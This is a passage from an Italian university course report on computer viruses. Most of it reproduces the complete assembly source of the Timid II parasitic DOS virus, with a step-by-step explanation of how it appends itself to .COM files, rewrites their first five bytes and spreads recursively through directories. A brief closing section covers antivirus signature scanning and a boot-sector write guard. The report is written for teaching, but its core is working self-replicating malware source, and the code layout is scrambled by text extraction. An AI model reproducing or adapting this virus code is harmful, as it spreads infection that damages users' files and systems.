e la START_CODE, che contiene questi cinque bytes .Senza START_CODE il virus non sarà in grado di trasferire il
controllo al programma ospite :
Fig (3.16) START_IMAGE e START_CODE
Per scrivere i primi cinque bytes del file sotto attacco, il virus prende i cinque bytes dallo START_IMAGE, e li mette
dove lo START_CODE è posto sul disco (Fig 3.16) e imposta il file pointer a questa posizione. Per risalire a questo
indirizzo prende la dimensione originale del file (memorizzata a DTA+1AH dalla search routine) e vi aggiunge OFSET
START_CODE –OFSET VIRUS, muovendo il puntatore al file rispetto all’inizio de file:
xor
lea
add
mov
int
cx,cx
dx,[bp+1AH]
dx,OFFSET START_CODE - OFFSET VIRUS
ax,4200H
21H
Successivamente il virus scrive i cinque bytes ,dalloSTART_IMAGE al file :
mov
lea
mov
int
cx,5
dx,[di + OFFSET START_IMAGE]
ah,40H
21H
Il passo successivo è impostare il salto successivo ai cinque bytes all’inizio del codice del virus, insieme alle lettere del
codice di identificazione “VI”, posizionando il puntatore del file all’inizio del file stesso:
xor
mov
mov
int
cx,cx
dx,cx
ax,4200H
21H
Provvede poi a creare un area dati in memoria con le informazioni giuste per scrivere all’inizio del file.
START_IMAGE è in ottimo spazio per impostare questi bytes e il primo bytes è una istruzione di near jump, E9 Hex:
mov
BYTE PTR [di+START_IMAGE],0E9H
I prossimi due bytes dovranno costituire una parola per comunicare alla CPU la dimensione in bytes del salto e sarà
determinata dalla somma della dimensione del file originale del programma ospite, più il numero di bytes nel virus che
erano precedentemente l’inizio del codice eseguibile. Si deve anche sottrarre tre da questo numero perché il salto
relativo è sempre riferito al corrente puntatore di istruzione, che punterà a 103H quando il salto è attualmente eseguito
quindi :
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov
add
mov
37
ax,WORD PTR [DTA+1AH]
ax,OFFSET VIRUS_START - OFFSET VIRUS - 3
WORD PTR [di+START_IMAGE+1],ax
Infine il virus imposta la stringa di identificazione “VI”nell’area dati dei cinque bytes:
mov WORD PTR [di+START_IMAGE+3],4956H ;'VI'
e scrive i dati all’inizio del file usando la funzione del DOSA write :
mov
cx,5
lea
dx,[di+OFFSET START_IMAGE]
mov
ah,40H
int
21H
infine chiude il file completando la procedura di infezione:
mov
ah,3EH
int
21H
Di seguito si può vedere l’intero codice del Timid II virus, esempio di parasistic virus che si pone alla fine del file
.COM che infetta e che è in grado di saltare da una directory a un’altra:
;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
;
.model tiny
.code
ORG
100H
;Questa è un programma che rilascia il virus nel sistema.
;e salta alla routine del virus ,che fa il suo lavoro e poi ritorna a esso
;che termina al DOS
HOST:
jmp NEAR PTR VIRUS_START
db
'VI'
db
100H dup (90H)
mov ax,4C00H
int 21H
;forza il salto
;termina normalmente col DOS
VIRUS:
;questa è l’indice del primo bytes del virus
ALLFILE DB
'*.*',0
START_IMAGE DB 0,0,0,0,0
;cerca la stringa per trovare il file
VIRUS_START:
call GET_START
GET_START:
pop di
sub di,OFFSET GET_START
call INFECT_FILES
EXIT_VIRUS:
;assume l’indirizzo d’inizio,questo è un modo per
;determinare la posizione dell’inizio di questo programma
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov ah,1AH
mov dx,80H
int 21H
mov si,OFFSET HOST
add di,OFFSET START_CODE
push si
xchg si,di
movsw
movsw
movsb
ret
;reimposta il DTA
;reimposta il codice di inizio dell’ospite
;salta all’ospite
START_CODE:
nop
nop
nop
nop
nop
;muove i primi cinque bytes dal programma ospite a questa locazione
;nop per il codice assembly originale
;lavorerà correttamente
INF_CNT DB ?
DEPTH DB ?
PATH DB 10 dup (0)
;contatore dei file infetti
;profondità della procedura di ricerca nelle directory, 0=no subdirectory
;path name da cercare
INFECT_FILES:
mov [di+INF_CNT],10
mov [di+DEPTH],1
call SEARCH_DIR
cmp [di+INF_CNT],0
jz
IFDONE
mov ah,47H
xor dl,dl
lea si,[di+CUR_DIR+1]
int 21H
mov [di+DEPTH],2
mov ax,'\'
mov WORD PTR [di+PATH],ax
mov ah,3BH
lea dx,[di+PATH]
int 21H
call SEARCH_DIR
mov ah,3BH
lea dx,[di+CUR_DIR]
int 21H
IFDONE: ret
;infetta dieci file
;controlla se sono stati infettati
;se no cerca anche la radice
;mette il path qui
;cambia directory
;ora torna alla directory originale
PRE_DIR DB
'..',0
CUR_DIR DB
'\'
DB
65 dup (0)
;Routine ricorsiva che ricerca file infetti nella directory corrente e nelle subdirectori
.
SEARCH_DIR:
push bp
;imposta lo stack frame
sub sp,43H
;sottrae la dimensione del DTA necessaria alla ricerca
mov bp,sp
mov dx,bp
;mette il DTA nello stack
mov ah,1AH
int 21H
lea dx,[di+OFFSET ALLFILE]
38
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov cx,3FH
mov ah,4EH
SDLP: int 21H
jc
SDDONE
mov al,[bp+15H]
and al,10H
jnz SD1
call FILE_OK
jc
SD2
call INFECT
;yes, infect it
dec
[di+INF_CNT]
cmp
[di+INF_CNT],0
jz
SDDONE
jmp
SD2
SD1:
cmp
jz
cmp
jz
dec
lea
mov
int
jc
call
lea
mov
int
inc
cmp
jz
mov
mov
int
SD2:
mov
jmp
SDDONE: add
pop
ret
;ottiene gli attributi del file trovato
;(00010000B) è una directory?
;se sì si collega
;se è un file controlla se è infettabile
;no, provane un altro
;decrementa il contatore dei file infetti
;se è nullo
;la ricerca è fatta
;no,allora cercane un altro
[di+DEPTH],0
;siamo in fondo alla ricerca
SD2
;se sì non ricercare le subdirectory
BYTE PTR [bp+1EH],'.'
SD2
;non cercare '.' o '..'
[di+DEPTH]
;decrementa il contatore della profondità di ricerca
dx,[bp+1EH]
;altrimenti assumi il nome della directory
ah,3BH
21H
;cambia directory in quest’ ultima
SD2
SEARCH_DIR
;ricerca ricorsiva e infezione
dx,[di+PRE_DIR]
;ora torna alla directory originale
ah,3BH
21H
[di+DEPTH]
[di+INF_CNT],0
;il file è stato infettato?
SDDONE
dx,bp
;ripristina il DTA a questo stack frame
ah,1AH
21H
ah,4FH
SDLP
sp,43H
bp
;-------------------------------------------------------------------------;Funzione per stabilire se il file specificato in FNAME è utilizzabile.
;se ritorna nc, altrimeni ritorna il carry
;Il file è utilizzabile se :
;
a) Deve avere estensione COM.
;
b) Ci deve essere spazio per il virus senza che ecceda la
;
dimensione limite del file di 64 KByte .
;
c) Bytes 0, 3 e 4 del file non sono un near jump op code,
;
e 'V', 'I', rispettivamente
;
FILE_OK:
lea
si,[bp+1EH]
mov
dx,si
FO1:
lodsb
;ottiene un byte del nome del file
cmp
al,'.'
;è '.'?
je
FO2
;sì ,ora cerca COM
cmp
al,0
;è la fine del nome?
39
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
FO2:
40
jne
jmp
lodsw
cmp
jne
lodsb
cmp
jne
FO1
FOKCEND
mov
int
jc
mov
mov
lea
mov
int
ax,3D02H
;apertura del file in modalità scrittura e lettura
21H
FOK_END
;se si ha un errore di apertura lascia
bx,ax
;mette il file handle in bx
cx,5
;legge 5 bytes all’inizio del programma
dx,[di+START_IMAGE]
ah,3FH
;funzione di lettura del DOS
21H
pushf
mov
int
popf
jc
mov
add
jc
cmp
je
cmp
jnz
cmp
jnz
FOKCEND:stc
FOK_END:ret
;no, prendi un altro carattere
;sì , allora esci con il carry settato, controlla se è un COM file
;ok, cerca il COM file
ax,'OC'
FOKCEND
al,'M'
FOKCEND
ah,3EH
21H
; e chiude il file
;controlla se la lettura ha fallito
FOK_END
ax,[bp+1AH]
ax,OFFSET ENDVIR - OFFSET VIRUS + 100H
FOK_END
WORD PTR [di+START_IMAGE],'ZM'
FOKCEND
BYTE PTR [di+START_IMAGE],0E9H
FOK_NCEND
WORD PTR [di+START_IMAGE+3],'IV'
FOK_NCEND
;assume la dimensione originale del file
;e vi somma la dimensione del virus
;carry settato se la dimensione >64K
;controlla il formato EXE
;se è un EXE non lo infetta
;il primo byte è un near jump?
;no, allora il file potrebbe essere infettabile
;c’è 'VI' ?
;no, il file è infettabile
FOK_NCEND:
clc
ret
;-------------------------------------------------------------------------;La routine muove il virus (this program) alla fine del file COM
;copiando tutto in questa posizione e poi imposta i 5bytes all’inizio
;del programma e i cinque bytes messi in memoria
;
INFECT:
lea
mov
int
mov
dx,[bp+1EH]
ax,3D02H
21H
bx,ax
;apertura del file in scrittura /lettura
;premde il file handle in bx
xor
mov
mov
int
cx,cx
dx,cx
ax,4202H
21H
;imposta il file pointer
;cx:dx pointer = 0
;pone il puntatore alla fine della funzione del DOS
mov
lea
mov
int
cx,OFFSET ENDVIR - OFFSET VIRUS
dx,[di+VIRUS]
ah,40H
21H
;bytes da scrivere
;scrivi da questa posizione
;funzione di scrittura ,copia il virus sul file
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
xor
mov
add
mov
int
cx,cx
;salva i 5 bytes che vengono dall’inizio
dx,[bp+1AH]
dx,OFFSET START_CODE - OFFSET VIRUS
;allo START_CODE
ax,4200H
;usa il DOS per posizionare il file pointer
21H
mov
lea
mov
int
cx,5
dx,[di+START_IMAGE]
ah,40H
21H
;scrive lo START_CODE nel file
xor
mov
mov
int
cx,cx
dx,cx
ax,4200H
21H
;torna all’inizio del programma ospite
;così può mettere la jump nel virus
;trova la funzione file pointer
mov
mov
add
mov
mov
mov
lea
mov
int 21H
41
BYTE PTR [di+START_IMAGE],0E9H
;prima la near jump op code E9
ax,[bp+1AH]
;and then the relative address
ax,OFFSET VIRUS_START-OFFSET VIRUS-3
;all’area START_IMAGE
WORD PTR [di+START_IMAGE+1],ax
WORD PTR [di+START_IMAGE+3],4956H
;e vi mette il codice 'VI' ID
cx,5
dx,[di+START_IMAGE]
ah,40H
;scrive i 5 bytes nello START_IMAGE
;funzione di scrittura del DOS
mov ah,3EH
int 21H
;e chiude il file
ret
;il virus è trasferito
ENDVIR:
END HOST
4.0 Soluzioni
Risolvere i problemi causati da un virus ,dopo che l’infezione si è già propagata, è un’ impresa spesso ardua e non
sempre esiste una soluzione comoda per l’utente. I danni provocati da un malware possono essere molteplici e spesso
costringono alla formattazione del disco fisso o a lunghe procedure di pulizia. La soluzione migliore resta dunque la
prevenzione, scegliendo accuratamente il software da installare, la sua provenienza e installando un programma anti
virus che va aggiornato almeno settimanalmente per garantire una buona protezione. Infatti, quella dei malfare, è una
minaccia estremamente dinamica, vengono sempre escogitate tecniche differenti o comunque capaci di eludere i
software di protezione che funzionano bene solo se conoscono prima il pericolo (il tipo di virus) che devono mettere in
quarantena o distruggere. Questi studi, vengono eseguiti per esempio dal CERT e dall’ ICSA e sono molto utili per
implementare gli aggiornamenti e gli up-date degli antivirus. Una delle tecnicheusate da questi programmi consiste
nell’effettuare una ricerca, vale a dire uno scanning dei virus, anzitutto per individuarli e l’idea base è di ricercare una
stringa che è contenuta nel virus (che deve essere conosciuto prima ). Per esempio il MINI-44, dopo essere stato
compilato ha il seguente codice binario:
0100: B4 4E BA 26 01 CD 21 72 1C B8 01 3D BA 9E 00 CD
0110: 21 93 B4 40 B1 2A BA 00 01 CD 21 B4 3E CD 21 B4
0120: 4F CD 21 EB E2 C3 2A 2E 43 4F 4D
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
42
e lo scanner che usa stringhe di 16bytes preleva appunto 16 bytes di questo codice e lo usa come elemento di ricerca
negli altri file. Tuttavia il criterio di ricerca deve essere meno limitato e quindi uno scanner deve contenere dei ampi
associati a ogni stringa di ricerca . Un’altra tattica di ricerca consiste nel Behavior checkers, cioè controllare il computer
per trovare i segni dell’attività del malware che in genere sono comportamenti inusuali, che esulano dalle normali
procedure di utilizzo da parte del’utente. Esempi sono aperture in scrittura e lettura di file COM ed EXE, tentativi di
scrivere il boot sector o il master boot sector e queste operazioni anomale sono tipicamente individuate da questi
programmi tramite interrupt di aggancio. Per visualizzare tentativi di scrittura del boot sector o del SO boot sector ci si
può agganciare all’interrupt 13H, funzione 3 :
INT_13H:
cmp
jnz
cmp
jnz
cmp
jnz
call
jz
stc
retf
cx,1
DO_OLD
dh,0
DO_OLD
ah,3
DO_OLD
IS_SURE
DO_OLD
2
; 0, sector 1?
; 0?
;no ,esegui
;scrivi?
;no
;sicuro di scrivere il bs?
;sì ,allora va avanti ed esegui
;altrimenti ferma la scrittura e setta il carry
;e ritorna al chiamante
DO_OLD:
;execute original INT 13H
jmp
DWORD PTR cs:[OLD_13H]
Uno dei più noti antivirus in commercio è il Norton AntiVirus 2002 della Symantec, che automaticamente si aggiorna
sulle nuove forme di virus e programmi perniciosi, tramite Live UpDate, fornendo una continua protezione su
connessione internet e sulla e-mail. Questo software combina funzioni di virus detection ,scanning e protezione contro i
codici maliziosi nei controlli ActiveX, e nei Java applets come vermi, cavalli di troia e password stealers. Il controllo
copre programmi scaricati o da installare, file compressi, e-mail e Norton ripara anche infezioni da virus comuni
basandosi sempre sui dati di aggiornamento che riceve.
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
43
Bibliografia
Programmazione linguaggio assembler
[1] Peter Norton ,Peter Norton’s Assembly Language Book for the IBM PC (Brady/Prentice Hall, New York) 1989
[2] Leo Scanlon ,8086/8088/80286 Assembly Language (Brady/Prentice Hall, New York) 1988
[3] http://vx.org.ua/
Introduzione e nozioni generali sugli attacchi
[4] Lucidi e appunti del corso di Sistemi Operativi tenuto dalla p.ssa Mariagrazia Albanesi
Virus, malware e codici
[5] Fred Cohen ,A Short Course on Computer Viruses (ASP Press, Pittsburgh, PA) 1990………par 3.0 ,3.1 ,3.2 ,3.3
[6] George Smith ,The Virus Creation Labs (American Eagle , Show Low ,AZ) 1994………….par 3.3MINI-44
[7] Mark Ludwig ,The Little Black Book of Computer Viruses (American Eagle , Show Low ,AZ) 1991….par 3.0 ,3.1
,3.3 fig (3.4, 3.6, 3.7, 3.8 ,3.9 ,3.10 ,3.11 ,3.13, 3.14 ,3.15 ,3.16 ), MINI-44, CSpawn, JUSTIN, TIMID II
[8] http://vx.org.ua/…….par 3.0 ,3.1 ,3.2 Funky Bob virus ,3.3 fig(3.1 ,3.2 ,3.3 ,3.5, 3.12)MINI-44, Cspawn, JUSTIN,
TIMID II virus
[9] http://www.cert.org/advisories/……………………….. par 3.2
[10] http://www.f-secure.com/virus-info/…….. .................... par 3.2, 3.3
[11] http://www.symantec.com/ ............................................. par 4.0
[12] http://www.trendmicro.com/vinfo/virusencyclo/.par …. par 2.0
[13] http://www. hackersclub.com…………………………. par 1.0
Vari link ai siti utilizzati
[14] http://astalavista.box.sk/cgi-bin/
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
Indice
PREFAZIONE……………………………………………………………………………………... pag 1
INTRODUZIONE…………………………………………………………………………….…… pag 2
CAPITOLO 1
1.0
1.1
I CRACK……………………………………………………………………………………pag 3
ESEMPIO DI “CRACKAGGIO”…………………………………………………………… pag 3
CAPITOLO 2
2.0
CAVALLI DI TROIA……………………………………………………………………… pag 5
CAPITOLO 3
3.0
3.1
3.2
3.3
3.4
3.5
3.6
3.7
I VIRUS, CENNI STORICI ………………………………………………………………... pag 6
I VIRUS E LE LORO CARATTERISTICHE……………………………………………… pag 7
CICLO VITALE DEL VIRUS E SUOI MECCANISMI …………………………………... pag 8
VIRUS CHE INFETTANO I FILE .COM……………………………………………….. pag 11
OVERWRITING VIRUS…………………………………………………………………... pag 14
COMPANION VIRUS …………………………………………………………………….. pag 18
PARASISTIC VIRUS (JUSTIN) ………………………………………………………....... pag 22
PARASISTIC VIRUS (TIMID II) ………………………………………………………….. pag 32
CAPITOLO 4
4.0
SOLUZIONI ………………………………………………………………………………... pag 41
BIBLIOGRAFIA ………………………………………………………………………………….. pag 43
44